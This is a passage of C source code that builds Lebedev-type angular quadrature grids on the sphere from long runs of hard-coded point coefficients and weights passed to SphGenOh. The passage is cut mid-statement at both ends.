0.7557646413004701e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.3229290663413854e-1; v = 0.2841633806090617e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.8036733271462222e-1; v = 0.4374419127053555e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1354289960531653e+0; v = 0.5417174740872172e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1938963861114426e+0; v = 0.6148000891358593e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2537343715011275e+0; v = 0.6664394485800705e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3135251434752570e+0; v = 0.7025039356923220e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3721558339375338e+0; v = 0.7268511789249627e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4286809575195696e+0; v = 0.7422637534208629e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4822510128282994e+0; v = 0.7509545035841214e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5320679333566263e+0; v = 0.7548535057718401e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6172998195394274e+0; v = 0.7554088969774001e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6510679849127481e+0; v = 0.7553147174442808e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6777315251687360e+0; v = 0.7564767653292297e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6963109410648741e+0; v = 0.7587991808518730e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7058935009831749e+0; v = 0.7608261832033027e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.9955546194091857e+0; v = 0.4021680447874916e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.9734115901794209e+0; v = 0.5804871793945964e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.9275693732388626e+0; v = 0.6792151955945159e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.8568022422795103e+0; v = 0.7336741211286294e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.7623495553719372e+0; v = 0.7581866300989608e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5707522908892223e+0; b = 0.4387028039889501e+0; v = 0.7538257859800743e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5196463388403083e+0; b = 0.3858908414762617e+0; v = 0.7483517247053123e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4646337531215351e+0; b = 0.3301937372343854e+0; v = 0.7371763661112059e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4063901697557691e+0; b = 0.2725423573563777e+0; v = 0.7183448895756934e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3456329466643087e+0; b = 0.2139510237495250e+0; v = 0.6895815529822191e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2831395121050332e+0; b = 0.1555922309786647e+0; v = 0.6480105801792886e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2197682022925330e+0; b = 0.9892878979686097e-1; v = 0.5897558896594636e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1564696098650355e+0; b = 0.4598642910675510e-1; v = 0.5095708849247346e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6027356673721295e+0; b = 0.3376625140173426e+0; v = 0.7536906428909755e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5496032320255096e+0; b = 0.2822301309727988e+0; v = 0.7472505965575118e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4921707755234567e+0; b = 0.2248632342592540e+0; v = 0.7343017132279698e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4309422998598483e+0; b = 0.1666224723456479e+0; v = 0.7130871582177445e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3664108182313672e+0; b = 0.1086964901822169e+0; v = 0.6817022032112776e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2990189057758436e+0; b = 0.5251989784120085e-1; v = 0.6380941145604121e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6268724013144998e+0; b = 0.2297523657550023e+0; v = 0.7550381377920310e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5707324144834607e+0; b = 0.1723080607093800e+0; v = 0.7478646640144802e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5096360901960365e+0; b = 0.1140238465390513e+0; v = 0.7335918720601220e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4438729938312456e+0; b = 0.5611522095882537e-1; v = 0.7110120527658118e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6419978471082389e+0; b = 0.1164174423140873e+0; v = 0.7571363978689501e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5817218061802611e+0; b = 0.5797589531445219e-1; v = 0.7489908329079234e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_1730(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.6309049437420976e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.6398287705571748e-3; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.6357185073530720e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.2860923126194662e-1; v = 0.2221207162188168e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7142556767711522e-1; v = 0.3475784022286848e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1209199540995559e+0; v = 0.4350742443589804e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1738673106594379e+0; v = 0.4978569136522127e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2284645438467734e+0; v = 0.5435036221998053e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2834807671701512e+0; v = 0.5765913388219542e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3379680145467339e+0; v = 0.6001200359226003e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3911355454819537e+0; v = 0.6162178172717512e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4422860353001403e+0; v = 0.6265218152438485e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4907781568726057e+0; v = 0.6323987160974212e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5360006153211468e+0; v = 0.6350767851540569e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6142105973596603e+0; v = 0.6354362775297107e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6459300387977504e+0; v = 0.6352302462706235e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6718056125089225e+0; v = 0.6358117881417972e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6910888533186254e+0; v = 0.6373101590310117e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7030467416823252e+0; v = 0.6390428961368665e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.8354951166354646e-1; v = 0.3186913449946576e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2050143009099486e+0; v = 0.4678028558591711e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3370208290706637e+0; v = 0.5538829697598626e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4689051484233963e+0; v = 0.6044475907190476e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5939400424557334e+0; v = 0.6313575103509012e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1394983311832261e+0; b = 0.4097581162050343e-1; v = 0.4078626431855630e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1967999180485014e+0; b = 0.8851987391293348e-1; v = 0.4759933057812725e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2546183732548967e+0; b = 0.1397680182969819e+0; v = 0.5268151186413440e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3121281074713875e+0; b = 0.1929452542226526e+0; v = 0.5643048560507316e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3685981078502492e+0; b = 0.2467898337061562e+0; v = 0.5914501076613073e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4233760321547856e+0; b = 0.3003104124785409e+0; v = 0.6104561257874195e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4758671236059246e+0; b = 0.3526684328175033e+0; v = 0.6230252860707806e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5255178579796463e+0; b = 0.4031134861145713e+0; v = 0.6305618761760796e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5718025633734589e+0; b = 0.4509426448342351e+0; v = 0.6343092767597889e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2686927772723415e+0; b = 0.4711322502423248e-1; v = 0.5176268945737826e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3306006819904809e+0; b = 0.9784487303942695e-1; v = 0.5564840313313692e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3904906850594983e+0; b = 0.1505395810025273e+0; v = 0.5856426671038980e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4479957951904390e+0; b = 0.2039728156296050e+0; v = 0.6066386925777091e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5027076848919780e+0; b = 0.2571529941121107e+0; v = 0.6208824962234458e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5542087392260217e+0; b = 0.3092191375815670e+0; v = 0.6296314297822907e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6020850887375187e+0; b = 0.3593807506130276e+0; v = 0.6340423756791859e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4019851409179594e+0; b = 0.5063389934378671e-1; v = 0.5829627677107342e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4635614567449800e+0; b = 0.1032422269160612e+0; v = 0.6048693376081110e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5215860931591575e+0; b = 0.1566322094006254e+0; v = 0.6202362317732461e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5758202499099271e+0; b = 0.2098082827491099e+0; v = 0.6299005328403779e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6259893683876795e+0; b = 0.2618824114553391e+0; v = 0.6347722390609353e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5313795124811891e+0; b = 0.5263245019338556e-1; v = 0.6203778981238834e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5893317955931995e+0; b = 0.1061059730982005e+0; v = 0.6308414671239979e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6426246321215801e+0; b = 0.1594171564034221e+0; v = 0.6362706466959498e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6511904367376113e+0; b = 0.5354789536565540e-1; v = 0.6375414170333233e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_2030(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.4656031899197431e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.5421549195295507e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.2540835336814348e-1; v = 0.1778522133346553e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6399322800504915e-1; v = 0.2811325405682796e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1088269469804125e+0; v = 0.3548896312631459e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1570670798818287e+0; v = 0.4090310897173364e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2071163932282514e+0; v = 0.4493286134169965e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2578914044450844e+0; v = 0.4793728447962723e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3085687558169623e+0; v = 0.5015415319164265e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3584719706267024e+0; v = 0.5175127372677937e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4070135594428709e+0; v = 0.5285522262081019e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4536618626222638e+0; v = 0.5356832703713962e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4979195686463577e+0; v = 0.5397914736175170e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5393075111126999e+0; v = 0.5416899441599930e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6115617676843916e+0; v = 0.5419308476889938e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6414308435160159e+0; v = 0.5416936902030596e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6664099412721607e+0; v = 0.5419544338703164e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6859161771214913e+0; v = 0.5428983656630975e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6993625593503890e+0; v = 0.5442286500098193e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7062393387719380e+0; v = 0.5452250345057301e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7479028168349763e-1; v = 0.2568002497728530e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1848951153969366e+0; v = 0.3827211700292145e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3059529066581305e+0; v = 0.4579491561917824e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4285556101021362e+0; v = 0.5042003969083574e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5468758653496526e+0; v = 0.5312708889976025e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6565821978343439e+0; v = 0.5438401790747117e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1253901572367117e+0; b = 0.3681917226439641e-1; v = 0.3316041873197344e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1775721510383941e+0; b = 0.7982487607213301e-1; v = 0.3899113567153771e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2305693358216114e+0; b = 0.1264640966592335e+0; v = 0.4343343327201309e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2836502845992063e+0; b = 0.1751585683418957e+0; v = 0.4679415262318919e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3361794746232590e+0; b = 0.2247995907632670e+0; v = 0.4930847981631031e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3875979172264824e+0; b = 0.2745299257422246e+0; v = 0.5115031867540091e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4374019316999074e+0; b = 0.3236373482441118e+0; v = 0.5245217148457367e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4851275843340022e+0; b = 0.3714967859436741e+0; v = 0.5332041499895321e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5303391803806868e+0; b = 0.4175353646321745e+0; v = 0.5384583126021542e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5726197380596287e+0; b = 0.4612084406355461e+0; v = 0.5411067210798852e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2431520732564863e+0; b = 0.4258040133043952e-1; v = 0.4259797391468714e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3002096800895869e+0; b = 0.8869424306722721e-1; v = 0.4604931368460021e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3558554457457432e+0; b = 0.1368811706510655e+0; v = 0.4871814878255202e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4097782537048887e+0; b = 0.1860739985015033e+0; v = 0.5072242910074885e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4616337666067458e+0; b = 0.2354235077395853e+0; v = 0.5217069845235350e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5110707008417874e+0; b = 0.2842074921347011e+0; v = 0.5315785966280310e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5577415286163795e+0; b = 0.3317784414984102e+0; v = 0.5376833708758905e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6013060431366950e+0; b = 0.3775299002040700e+0; v = 0.5408032092069521e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3661596767261781e+0; b = 0.4599367887164592e-1; v = 0.4842744917904866e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4237633153506581e+0; b = 0.9404893773654421e-1; v = 0.5048926076188130e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4786328454658452e+0; b = 0.1431377109091971e+0; v = 0.5202607980478373e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5305702076789774e+0; b = 0.1924186388843570e+0; v = 0.5309932388325743e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5793436224231788e+0; b = 0.2411590944775190e+0; v = 0.5377419770895208e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6247069017094747e+0; b = 0.2886871491583605e+0; v = 0.5411696331677717e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4874315552535204e+0; b = 0.4804978774953206e-1; v = 0.5197996293282420e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5427337322059053e+0; b = 0.9716857199366665e-1; v = 0.5311120836622945e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5943493747246700e+0; b = 0.1465205839795055e+0; v = 0.5384309319956951e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6421314033564943e+0; b = 0.1953579449803574e+0; v = 0.5421859504051886e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6020628374713980e+0; b = 0.4916375015738108e-1; v = 0.5390948355046314e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6529222529856881e+0; b = 0.9861621540127005e-1; v = 0.5433312705027845e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_2354(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.3922616270665292e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.4703831750854424e-3; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.4678202801282136e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.2290024646530589e-1; v = 0.1437832228979900e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5779086652271284e-1; v = 0.2303572493577644e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.9863103576375984e-1; v = 0.2933110752447454e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1428155792982185e+0; v = 0.3402905998359838e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1888978116601463e+0; v = 0.3759138466870372e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2359091682970210e+0; v = 0.4030638447899798e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2831228833706171e+0; v = 0.4236591432242211e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3299495857966693e+0; v = 0.4390522656946746e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3758840802660796e+0; v = 0.4502523466626247e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4204751831009480e+0; v = 0.4580577727783541e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4633068518751051e+0; v = 0.4631391616615899e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5039849474507313e+0; v = 0.4660928953698676e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5421265793440747e+0; v = 0.4674751807936953e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6092660230557310e+0; v = 0.4676414903932920e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6374654204984869e+0; v = 0.4674086492347870e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6615136472609892e+0; v = 0.4674928539483207e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6809487285958127e+0; v = 0.4680748979686447e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6952980021665196e+0; v = 0.4690449806389040e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7041245497695400e+0; v = 0.4699877075860818e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6744033088306065e-1; v = 0.2099942281069176e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1678684485334166e+0; v = 0.3172269150712804e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2793559049539613e+0; v = 0.3832051358546523e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3935264218057639e+0; v = 0.4252193818146985e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5052629268232558e+0; v = 0.4513807963755000e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6107905315437531e+0; v = 0.4657797469114178e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1135081039843524e+0; b = 0.3331954884662588e-1; v = 0.2733362800522836e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1612866626099378e+0; b = 0.7247167465436538e-1; v = 0.3235485368463559e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2100786550168205e+0; b = 0.1151539110849745e+0; v = 0.3624908726013453e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2592282009459942e+0; b = 0.1599491097143677e+0; v = 0.3925540070712828e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3081740561320203e+0; b = 0.2058699956028027e+0; v = 0.4156129781116235e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3564289781578164e+0; b = 0.2521624953502911e+0; v = 0.4330644984623263e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4035587288240703e+0; b = 0.2982090785797674e+0; v = 0.4459677725921312e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4491671196373903e+0; b = 0.3434762087235733e+0; v = 0.4551593004456795e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4928854782917489e+0; b = 0.3874831357203437e+0; v = 0.4613341462749918e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5343646791958988e+0; b = 0.4297814821746926e+0; v = 0.4651019618269806e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5732683216530990e+0; b = 0.4699402260943537e+0; v = 0.4670249536100625e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2214131583218986e+0; b = 0.3873602040643895e-1; v = 0.3549555576441708e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2741796504750071e+0; b = 0.8089496256902013e-1; v = 0.3856108245249010e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3259797439149485e+0; b = 0.1251732177620872e+0; v = 0.4098622845756882e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3765441148826891e+0; b = 0.1706260286403185e+0; v = 0.4286328604268950e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4255773574530558e+0; b = 0.2165115147300408e+0; v = 0.4427802198993945e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4727795117058430e+0; b = 0.2622089812225259e+0; v = 0.4530473511488561e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5178546895819012e+0; b = 0.3071721431296201e+0; v = 0.4600805475703138e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5605141192097460e+0; b = 0.3508998998801138e+0; v = 0.4644599059958017e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6004763319352512e+0; b = 0.3929160876166931e+0; v = 0.4667274455712508e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3352842634946949e+0; b = 0.4202563457288019e-1; v = 0.4069360518020356e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3891971629814670e+0; b = 0.8614309758870850e-1; v = 0.4260442819919195e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4409875565542281e+0; b = 0.1314500879380001e+0; v = 0.4408678508029063e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4904893058592484e+0; b = 0.1772189657383859e+0; v = 0.4518748115548597e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5375056138769549e+0; b = 0.2228277110050294e+0; v = 0.4595564875375116e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5818255708669969e+0; b = 0.2677179935014386e+0; v = 0.4643988774315846e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6232334858144959e+0; b = 0.3113675035544165e+0; v = 0.4668827491646946e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4489485354492058e+0; b = 0.4409162378368174e-1; v = 0.4400541823741973e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5015136875933150e+0; b = 0.8939009917748489e-1; v = 0.4514512890193797e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5511300550512623e+0; b = 0.1351806029383365e+0; v = 0.4596198627347549e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5976720409858000e+0; b = 0.1808370355053196e+0; v = 0.4648659016801781e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6409956378989354e+0; b = 0.2257852192301602e+0; v = 0.4675502017157673e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5581222330827514e+0; b = 0.4532173421637160e-1; v = 0.4598494476455523e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6074705984161695e+0; b = 0.9117488031840314e-1; v = 0.4654916955152048e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6532272537379033e+0; b = 0.1369294213140155e+0; v = 0.4684709779505137e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6594761494500487e+0; b = 0.4589901487275583e-1; v = 0.4691445539106986e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_2702(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.2998675149888161e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.4077860529495355e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.2065562538818703e-1; v = 0.1185349192520667e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5250918173022379e-1; v = 0.1913408643425751e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.8993480082038376e-1; v = 0.2452886577209897e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1306023924436019e+0; v = 0.2862408183288702e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1732060388531418e+0; v = 0.3178032258257357e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2168727084820249e+0; v = 0.3422945667633690e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2609528309173586e+0; v = 0.3612790520235922e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3049252927938952e+0; v = 0.3758638229818521e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3483484138084404e+0; v = 0.3868711798859953e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3908321549106406e+0; v = 0.3949429933189938e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4320210071894814e+0; v = 0.4006068107541156e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4715824795890053e+0; v = 0.4043192149672723e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5091984794078453e+0; v = 0.4064947495808078e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5445580145650803e+0; v = 0.4075245619813152e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6072575796841768e+0; v = 0.4076423540893566e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6339484505755803e+0; v = 0.4074280862251555e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6570718257486958e+0; v = 0.4074163756012244e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6762557330090709e+0; v = 0.4077647795071246e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6911161696923790e+0; v = 0.4084517552782530e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7012841911659961e+0; v = 0.4092468459224052e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7064559272410020e+0; v = 0.4097872687240906e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6123554989894765e-1; v = 